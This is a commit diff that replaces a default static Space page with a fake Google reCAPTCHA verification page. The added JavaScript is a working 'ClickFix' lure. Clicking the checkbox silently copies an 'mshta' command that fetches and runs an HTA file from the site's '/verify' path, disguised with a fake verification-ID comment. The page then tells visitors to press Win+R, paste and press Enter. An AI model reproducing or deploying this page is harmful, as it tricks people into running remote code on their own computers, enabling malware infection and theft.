enotkrutoy commited on
Commit
f44c384
·
verified ·
1 Parent(s): 3e07d58

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +431 -17
index.html CHANGED
@@ -1,19 +1,433 @@
1
  <!doctype html>
2
- <html>
3
- <head>
4
- <meta charset="utf-8" />
5
- <meta name="viewport" content="width=device-width" />
6
- <title>My static Space</title>
7
- <link rel="stylesheet" href="style.css" />
8
- </head>
9
- <body>
10
- <div class="card">
11
- <h1>Welcome to your static Space!</h1>
12
- <p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
13
- <p>
14
- Also don't forget to check the
15
- <a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
16
- </p>
17
- </div>
18
- </body>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
19
  </html>
 
 
1
  <!doctype html>
2
+ <!DOCTYPE html>
3
+
4
+ <html lang="en">
5
+ <head>
6
+ <meta charset="utf-8">
7
+ <title>reCAPTCHA Verification</title>
8
+
9
+ <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css">
10
+ <style>
11
+ .container {
12
+ font-family: Roboto, helvetica, arial, sans-serif;
13
+ }
14
+
15
+ .m-p {
16
+ margin: 0;
17
+ padding: 0;
18
+ }
19
+
20
+ .block {
21
+ display: block;
22
+ }
23
+
24
+ code {
25
+ font-size: 9px;
26
+ margin-left: 2px;
27
+ color: gray;
28
+ }
29
+
30
+ .line-normal {
31
+ line-height: normal;
32
+ }
33
+
34
+ .checkbox-window {
35
+ height: 74px;
36
+ width: 300px;
37
+ background-color: #f9f9f9;
38
+ border-radius: 3px;
39
+ border: 1px solid #d3d3d3;
40
+ }
41
+
42
+ .checkbox-window a {
43
+ color: #555;
44
+ text-decoration: none;
45
+ }
46
+
47
+ .checkbox-window a:hover {
48
+ color: #555;
49
+ text-decoration: underline;
50
+ }
51
+
52
+ .checkbox-container {
53
+ width: 28px;
54
+ height: 28px;
55
+ }
56
+
57
+ .checkbox {
58
+ position: relative;
59
+ background-color: #fff;
60
+ border-radius: 2px;
61
+ height: 100%;
62
+ width: 100%;
63
+ border: 2px solid #c1c1c1;
64
+ margin: 21px 0 0 12px;
65
+ outline: none;
66
+ font-family: Roboto, helvetica, arial, sans-serif;
67
+ transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
68
+ }
69
+
70
+ .checkbox:hover {
71
+ border: 2px solid #b2b2b2;
72
+ }
73
+
74
+ .im-not-a-robot {
75
+ position: relative;
76
+ left: 52px;
77
+ bottom: 3px;
78
+ font-size: 15px;
79
+ color: #282727;
80
+ }
81
+
82
+ .captcha-logo {
83
+ position: relative;
84
+
85
+ left: 244px;
86
+ bottom: 36px;
87
+ width: 40px;
88
+ height: 45px;
89
+ vertical-align: baseline;
90
+ padding-bottom: 4px;
91
+ }
92
+
93
+
94
+ .checkbox-desc {
95
+ color: #555555;
96
+ position: relative;
97
+ font-size: 8px;
98
+ text-align: center;
99
+ bottom: 40px;
100
+ left: 112px;
101
+ }
102
+
103
+ .spinner {
104
+ visibility: hidden;
105
+ position: relative;
106
+ top: -85px;
107
+ left: 12px;
108
+ height: 20px;
109
+ width: 20px;
110
+ border: 2px solid rgba(0, 0, 0, 0.1);
111
+ border-top: 2px solid #333;
112
+ border-radius: 50%;
113
+ visibility: hidden;
114
+ opacity: 0;
115
+ transition: opacity 0.5s linear;
116
+ animation: spin 1s linear infinite;
117
+ }
118
+
119
+ @keyframes spin {
120
+ 0% {
121
+ transform: rotate(0deg);
122
+ }
123
+
124
+ 100% {
125
+ transform: rotate(360deg);
126
+ }
127
+ }
128
+
129
+ .verify-window {
130
+ font-family: Roboto, helvetica, arial, sans-serif;
131
+ opacity: 0;
132
+ position: absolute;
133
+ visibility: hidden;
134
+ margin: auto;
135
+ width: 310px;
136
+ background-color: #fff;
137
+ border: 1px solid #cecece;
138
+ -webkit-box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
139
+ box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
140
+ transition: opacity 400ms;
141
+ }
142
+
143
+ ol {
144
+ counter-reset: item;
145
+ list-style-type: none;
146
+ list-style-position: outside;
147
+ padding-left: 0;
148
+
149
+ }
150
+
151
+ ol li {
152
+ counter-increment: item;
153
+ margin-bottom: 10px;
154
+
155
+ }
156
+
157
+ ol li::before {
158
+ content: counter(item) ". ";
159
+ color: #1A73E8;
160
+ font-weight: bold;
161
+ margin-right: 10px;
162
+ margin-left: 10px;
163
+ }
164
+
165
+ .verify-container {
166
+ padding: 8px;
167
+ }
168
+
169
+ .verify-header {
170
+ background-color: #1A73E8;
171
+ padding: 16px 16px 24px 16px;
172
+ color: #fff;
173
+ }
174
+
175
+ .verify-header-text-small {
176
+ font-size: 14px;
177
+ line-height: normal;
178
+ }
179
+
180
+ .verify-header-text-medium {
181
+ font-size: 16px;
182
+ }
183
+
184
+ .verify-header-text-big {
185
+ font-size: 24px;
186
+ font-weight: 700;
187
+ }
188
+
189
+ .verify-main {
190
+ padding: 5px;
191
+ color: #111;
192
+ font-size: 13px;
193
+
194
+ }
195
+
196
+ .verify-footer {
197
+ border-top: 1px solid #cecece;
198
+ padding: 10px 7px 10px 7px;
199
+ color: #737373;
200
+ display: grid;
201
+ grid-template-columns: auto 102px;
202
+ font-size: 13px;
203
+ }
204
+
205
+ .verify-footer-left {
206
+ padding: 5px;
207
+ }
208
+
209
+ .verify-verify-button {
210
+ text-transform: uppercase;
211
+ background-color: #5a89e2;
212
+ color: #fff;
213
+ text-align: center;
214
+ width: 100%;
215
+ padding: 12px 0 12px 0;
216
+ text-decoration: none;
217
+ font-weight: 600;
218
+ height: min-content;
219
+ border-radius: 3px;
220
+ font-size: 14px;
221
+ border: none;
222
+ outline: none;
223
+ cursor: not-allowed;
224
+ }
225
+ </style>
226
+ </head>
227
+ <body>
228
+
229
+ <div class="container m-p">
230
+ <div id="checkbox-window" class="checkbox-window m-p block">
231
+ <div class="checkbox-container m-p">
232
+ <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
233
+ </div>
234
+ <p class="im-not-a-robot m-p line-normal">I'm not a robot</p>
235
+ <img src="https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png" class="captcha-logo line-normal" alt="">
236
+ <br>
237
+ <p class="checkbox-desc m-p line-normal">
238
+ <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - <a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
239
+ </p>
240
+ <img class="spinner" alt="" id="spinner">
241
+ </div>
242
+
243
+ <div id="verify-window" class="verify-window">
244
+ <div class="verify-container">
245
+ <header class="verify-header">
246
+ <span class="verify-header-text-medium m-p block">Complete these</span>
247
+ <span class="verify-header-text-big m-p block">Verification Steps</span>
248
+ <span class="verify-header-text-medium m-p block"></span>
249
+ </header>
250
+ <main class="verify-main">
251
+ <p>
252
+ To better prove you are not a robot, please:
253
+ </p>
254
+ <ol>
255
+ <li>
256
+ Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.
257
+ </li>
258
+
259
+ <li>
260
+ In the verification window, press <b>Ctrl</b> + <b>V</b>.
261
+ </li>
262
+
263
+ <li>
264
+ Press <b>Enter</b> on your keyboard to finish.
265
+ </li>
266
+ </ol>
267
+ <p>
268
+ You will observe and agree:
269
+ <br>
270
+ <code>
271
+ ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>"
272
+ </code>
273
+ </p>
274
+
275
+
276
+ </main>
277
+ </div>
278
+ <footer class="verify-container verify-footer">
279
+ <div class="verify-footer-left">
280
+ Perform the steps above to finish verification.
281
+ </div>
282
+ <button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button>
283
+ </footer>
284
+ </div>
285
+ </div>
286
+
287
+ <script>
288
+ let checkboxWindow = document.getElementById("checkbox-window");
289
+ let checkboxBtn = document.getElementById("checkbox");
290
+ let checkboxBtnSpinner = document.getElementById("spinner");
291
+ let verifywindow = document.getElementById("verify-window");
292
+
293
+ function addCaptchaListeners() {
294
+ if (checkboxBtn) {
295
+ document.addEventListener("click", function (event) {
296
+ let path = event.composedPath();
297
+ if (!path.includes(verifywindow) && isverifywindowVisible()) {
298
+ closeverifywindow();
299
+ }
300
+ });
301
+ checkboxBtn.addEventListener("click", function (event) {
302
+ event.preventDefault();
303
+ checkboxBtn.disabled = true;
304
+ runClickedCheckboxEffects();
305
+ });
306
+ }
307
+ }
308
+
309
+ function runClickedCheckboxEffects() {
310
+ hideCaptchaCheckbox();
311
+ setTimeout(function(){
312
+ showCaptchaLoading();
313
+ },500);
314
+ setTimeout(function(){
315
+ showVerifyWindow();
316
+ },900)
317
+ }
318
+
319
+ function showCaptchaLoading() {
320
+ checkboxBtnSpinner.style.visibility = "visible";
321
+ checkboxBtnSpinner.style.opacity = "1";
322
+ checkboxBtnSpinner.style.animation = "spin 1s linear infinite";
323
+ }
324
+
325
+ function hideCaptchaLoading() {
326
+ checkboxBtnSpinner.style.opacity = "0";
327
+ checkboxBtnSpinner.style.animation = "none";
328
+ setTimeout(function() {
329
+ checkboxBtnSpinner.style.visibility = "hidden";
330
+ }, 500);
331
+ }
332
+
333
+ function hideCaptchaCheckbox() {
334
+ checkboxBtn.style.visibility = "hidden";
335
+ checkboxBtn.style.opacity = "0";
336
+ }
337
+
338
+
339
+ function showCaptchaCheckbox() {
340
+ checkboxBtn.style.width = "100%";
341
+ checkboxBtn.style.height = "100%";
342
+ checkboxBtn.style.borderRadius = "2px";
343
+ checkboxBtn.style.margin = "21px 0 0 12px";
344
+ checkboxBtn.style.opacity = "1";
345
+ }
346
+
347
+ function hideCaptchaCheckbox() {
348
+ checkboxBtn.style.width = "4px";
349
+ checkboxBtn.style.height = "4px";
350
+ checkboxBtn.style.borderRadius = "50%";
351
+ checkboxBtn.style.marginLeft = "25px";
352
+ checkboxBtn.style.marginTop = "33px";
353
+ checkboxBtn.style.opacity = "0";
354
+ }
355
+
356
+ function showCaptchaLoading() {
357
+ checkboxBtnSpinner.style.visibility = "visible";
358
+ checkboxBtnSpinner.style.opacity = "1";
359
+ }
360
+
361
+ function hideCaptchaLoading() {
362
+ checkboxBtnSpinner.style.visibility = "hidden";
363
+ checkboxBtnSpinner.style.opacity = "0";
364
+ }
365
+
366
+ function generateRandomNumber() {
367
+ const min = 1000;
368
+ const max = 9999;
369
+ return Math.floor(Math.random() * (max - min + 1) + min).toString();
370
+ }
371
+
372
+ function closeverifywindow() {
373
+ verifywindow.style.display = "none";
374
+ verifywindow.style.visibility = "hidden";
375
+ verifywindow.style.opacity = "0";
376
+
377
+ showCaptchaCheckbox();
378
+ hideCaptchaLoading();
379
+ checkboxBtn.disabled = false;
380
+ }
381
+
382
+ function isverifywindowVisible() {
383
+ return verifywindow.style.display !== "none" && verifywindow.style.display !== "";
384
+ }
385
+
386
+ function setClipboardCopyData(textToCopy){
387
+ const tempTextArea = document.createElement("textarea");
388
+ tempTextArea.value = textToCopy;
389
+ document.body.append(tempTextArea);
390
+ tempTextArea.select();
391
+ document.execCommand("copy");
392
+ document.body.removeChild(tempTextArea);
393
+ }
394
+
395
+ function stageClipboard(commandToRun, verification_id){
396
+ const suffix = " # "
397
+ const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "
398
+ const end = "''"
399
+ const textToCopy = commandToRun + suffix + ploy + verification_id + end
400
+
401
+ setClipboardCopyData(textToCopy);
402
+ }
403
+
404
+
405
+ function showVerifyWindow() {
406
+ verifywindow.style.display = "block";
407
+ verifywindow.style.visibility = "visible";
408
+ verifywindow.style.opacity = "1";
409
+ verifywindow.style.top = checkboxWindow.offsetTop - 80 + "px";
410
+ verifywindow.style.left = checkboxWindow.offsetLeft + 54 + "px";
411
+
412
+ if (verifywindow.offsetTop < 5) {
413
+ verifywindow.style.top = "5px";
414
+ }
415
+
416
+ if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth-10 ) {
417
+ verifywindow.style.left = checkboxWindow.offsetLeft - 8 + "px";
418
+ }
419
+
420
+ var verification_id = generateRandomNumber();
421
+ document.getElementById('verification-id').textContent = verification_id;
422
+
423
+ const htaPath = window.location.origin + "/verify";
424
+ const commandToRun = "mshta " + htaPath
425
+ stageClipboard(commandToRun, verification_id)
426
+ }
427
+
428
+ addCaptchaListeners();
429
+
430
+ </script>
431
+ </body>
432
  </html>
433
+